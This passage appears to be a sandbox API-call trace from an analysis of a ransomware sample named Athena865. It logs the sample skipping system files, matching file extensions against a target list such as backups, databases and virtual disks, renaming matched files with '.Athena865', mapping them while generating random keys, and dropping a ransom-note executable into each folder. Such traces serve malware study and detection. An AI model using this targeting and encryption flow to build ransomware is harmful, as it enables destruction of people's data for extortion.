(HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.683] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.684] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.684] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.685] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x17c [0136.686] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0136.687] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.688] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.688] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.688] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.688] CloseHandle (hObject=0x17c) returned 1 [0136.689] CloseHandle (hObject=0x154) returned 1 [0136.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.689] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2=".") returned 1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2="..") returned 1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2="windows") returned -1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2="bootmgr") returned 1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2="temp") returned 1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2="pagefile.sys") returned 1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2="boot") returned 1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2="ids.txt") returned 1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2="ntuser.dat") returned 1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2="perflogs") returned 1 [0136.689] lstrcmpiW (lpString1="Verve.xml", lpString2="MSBuild") returned 1 [0136.689] lstrlenW (lpString="Verve.xml") returned 9 [0136.689] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Verve.xml" | out: lpString1="Verve.xml") returned="Verve.xml" [0136.690] lstrlenW (lpString="Verve.xml") returned 9 [0136.690] lstrlenW (lpString="Athena865") returned 9 [0136.690] lstrlenW (lpString=".dll") returned 4 [0136.690] lstrcmpiW (lpString1="Verve.xml", lpString2=".dll") returned 1 [0136.690] lstrlenW (lpString=".lnk") returned 4 [0136.690] lstrcmpiW (lpString1="Verve.xml", lpString2=".lnk") returned 1 [0136.690] lstrlenW (lpString=".ini") returned 4 [0136.690] lstrcmpiW (lpString1="Verve.xml", lpString2=".ini") returned 1 [0136.690] lstrlenW (lpString=".sys") returned 4 [0136.690] lstrcmpiW (lpString1="Verve.xml", lpString2=".sys") returned 1 [0136.690] lstrlenW (lpString="Verve.xml") returned 9 [0136.690] lstrlenW (lpString="bak") returned 3 [0136.690] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.690] lstrlenW (lpString="ba_") returned 3 [0136.690] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.690] lstrlenW (lpString="dbb") returned 3 [0136.690] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.690] lstrlenW (lpString="vmdk") returned 4 [0136.690] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.690] lstrlenW (lpString="rar") returned 3 [0136.690] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.690] lstrlenW (lpString="zip") returned 3 [0136.690] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.690] lstrlenW (lpString="tgz") returned 3 [0136.690] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.690] lstrlenW (lpString="vbox") returned 4 [0136.691] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.691] lstrlenW (lpString="vdi") returned 3 [0136.691] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.691] lstrlenW (lpString="vhd") returned 3 [0136.691] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.691] lstrlenW (lpString="vhdx") returned 4 [0136.691] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.691] lstrlenW (lpString="avhd") returned 4 [0136.691] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.691] lstrlenW (lpString="db") returned 2 [0136.691] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.691] lstrlenW (lpString="db2") returned 3 [0136.691] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.691] lstrlenW (lpString="db3") returned 3 [0136.691] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.691] lstrlenW (lpString="dbf") returned 3 [0136.691] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.691] lstrlenW (lpString="mdf") returned 3 [0136.691] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.691] lstrlenW (lpString="mdb") returned 3 [0136.691] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.691] lstrlenW (lpString="sql") returned 3 [0136.691] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.691] lstrlenW (lpString="sqlite") returned 6 [0136.691] lstrcmpiW (lpString1="ve.xml", lpString2="sqlite") returned 1 [0136.691] lstrlenW (lpString="sqlite3") returned 7 [0136.691] lstrcmpiW (lpString1="rve.xml", lpString2="sqlite3") returned -1 [0136.692] lstrlenW (lpString="sqlitedb") returned 8 [0136.692] lstrcmpiW (lpString1="erve.xml", lpString2="sqlitedb") returned -1 [0136.692] lstrlenW (lpString="xml") returned 3 [0136.692] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.692] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.Athena865") returned 85 [0136.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.athena865"), dwFlags=0x1) returned 1 [0136.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.694] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=960) returned 1 [0136.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.694] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.695] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.695] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.695] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x17c [0136.697] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0136.698] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.698] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.698] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.699] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.699] CloseHandle (hObject=0x17c) returned 1 [0136.700] CloseHandle (hObject=0x154) returned 1 [0136.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.700] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2=".") returned 1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2="..") returned 1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2="windows") returned -1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2="bootmgr") returned 1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2="temp") returned 1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2="pagefile.sys") returned 1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2="boot") returned 1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2="ids.txt") returned 1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2="ntuser.dat") returned 1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2="perflogs") returned 1 [0136.700] lstrcmpiW (lpString1="Waveform.xml", lpString2="MSBuild") returned 1 [0136.700] lstrlenW (lpString="Waveform.xml") returned 12 [0136.700] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Waveform.xml" | out: lpString1="Waveform.xml") returned="Waveform.xml" [0136.700] lstrlenW (lpString="Waveform.xml") returned 12 [0136.701] lstrlenW (lpString="Athena865") returned 9 [0136.701] lstrcmpiW (lpString1="eform.xml", lpString2="Athena865") returned 1 [0136.701] lstrlenW (lpString=".dll") returned 4 [0136.701] lstrcmpiW (lpString1="Waveform.xml", lpString2=".dll") returned 1 [0136.701] lstrlenW (lpString=".lnk") returned 4 [0136.701] lstrcmpiW (lpString1="Waveform.xml", lpString2=".lnk") returned 1 [0136.701] lstrlenW (lpString=".ini") returned 4 [0136.701] lstrcmpiW (lpString1="Waveform.xml", lpString2=".ini") returned 1 [0136.701] lstrlenW (lpString=".sys") returned 4 [0136.701] lstrcmpiW (lpString1="Waveform.xml", lpString2=".sys") returned 1 [0136.701] lstrlenW (lpString="Waveform.xml") returned 12 [0136.701] lstrlenW (lpString="bak") returned 3 [0136.701] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.701] lstrlenW (lpString="ba_") returned 3 [0136.701] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.701] lstrlenW (lpString="dbb") returned 3 [0136.701] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.701] lstrlenW (lpString="vmdk") returned 4 [0136.701] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.701] lstrlenW (lpString="rar") returned 3 [0136.701] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.701] lstrlenW (lpString="zip") returned 3 [0136.701] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.701] lstrlenW (lpString="tgz") returned 3 [0136.701] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.701] lstrlenW (lpString="vbox") returned 4 [0136.701] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.701] lstrlenW (lpString="vdi") returned 3 [0136.702] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.702] lstrlenW (lpString="vhd") returned 3 [0136.702] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.702] lstrlenW (lpString="vhdx") returned 4 [0136.702] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.702] lstrlenW (lpString="avhd") returned 4 [0136.702] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.702] lstrlenW (lpString="db") returned 2 [0136.702] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.702] lstrlenW (lpString="db2") returned 3 [0136.702] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.702] lstrlenW (lpString="db3") returned 3 [0136.702] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.702] lstrlenW (lpString="dbf") returned 3 [0136.702] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.702] lstrlenW (lpString="mdf") returned 3 [0136.702] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.702] lstrlenW (lpString="mdb") returned 3 [0136.702] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.702] lstrlenW (lpString="sql") returned 3 [0136.702] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.702] lstrlenW (lpString="sqlite") returned 6 [0136.702] lstrcmpiW (lpString1="rm.xml", lpString2="sqlite") returned -1 [0136.702] lstrlenW (lpString="sqlite3") returned 7 [0136.702] lstrcmpiW (lpString1="orm.xml", lpString2="sqlite3") returned -1 [0136.702] lstrlenW (lpString="sqlitedb") returned 8 [0136.703] lstrcmpiW (lpString1="form.xml", lpString2="sqlitedb") returned -1 [0136.703] lstrlenW (lpString="xml") returned 3 [0136.703] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.703] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.Athena865") returned 88 [0136.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.athena865"), dwFlags=0x1) returned 1 [0136.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.704] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=963) returned 1 [0136.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.705] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.705] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.705] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.706] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.707] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.708] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.709] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.709] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.710] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.710] CloseHandle (hObject=0x17c) returned 1 [0136.710] CloseHandle (hObject=0x154) returned 1 [0136.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.710] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0136.710] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0136.710] ReleaseMutex (hMutex=0xec) returned 1 [0136.710] CloseHandle (hObject=0xec) returned 1 [0136.710] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0136.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0136.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f718 | out: hHeap=0x4f0000) returned 1 [0136.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned 66 [0136.710] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\822D8978D6D354520BD2EA3A30DCE1C4") returned 0xec [0136.711] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0136.711] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0136.711] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0136.711] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\how to back your files.exe"), bFailIfExists=1) returned 0 [0136.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0136.712] GetLastError () returned 0x0 [0136.712] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0136.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0136.712] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0136.713] CloseHandle (hObject=0xf4) returned 1 [0136.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0136.713] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0136.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcefe0fc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcefe0fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0136.714] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.714] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.714] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0136.714] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcefe0fc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcefe0fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.715] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.715] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.715] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0136.715] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0136.715] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, 